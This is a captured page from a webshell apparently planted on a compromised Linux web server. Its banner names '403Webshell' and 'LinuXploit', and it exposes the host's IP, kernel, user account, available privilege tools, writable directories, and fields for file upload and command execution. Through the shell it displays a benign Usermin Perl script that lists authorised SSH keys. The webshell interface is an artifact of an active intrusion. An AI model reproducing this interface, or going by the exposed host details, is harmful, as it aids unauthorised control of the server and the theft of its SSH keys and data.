403Webshell
Server IP : 172.67.134.114  /  Your IP : 162.159.115.42
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/usermin/ssh/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/usermin/ssh/list_auths.cgi
#!/usr/bin/perl
# list_auths.cgi
# List public keys that are allowed to login to this account

require './ssh-lib.pl';
&ui_print_header(undef, $text{'auths_title'}, "");

@links = ( "<a href='edit_auth.cgi?new=1&type=1'>$text{'auths_add1'}</a>",
	   "<a href='edit_auth.cgi?new=1&type=2'>$text{'auths_add2'}</a>" );

print "$text{'auths_desc'}<p>\n";
@auths = &list_auths();
if (@auths) {
	print &ui_links_row(\@links);
	print &ui_columns_start([ $text{'auths_name'},
				  $text{'auths_key'} ]);
	foreach $a (@auths) {
		print &ui_columns_row([ 
			"<a href='edit_auth.cgi?idx=$a->{'index'}'>".
			  "@{[&html_escape($a->{'name'})]}</a>",
			"<tt>".substr($a->{'key'}, 0, 40)." ... ".
			      substr($a->{'key'}, -40)."</tt>",
			]);
		}
	print &ui_columns_end();
	}
else {
	print "<b>$text{'auths_none'}</b> <p>\n";
	}
print &ui_links_row(\@links);

&ui_print_footer("", $text{'index_return'});


Youez - 2016 - github.com/yon3zu
LinuXploit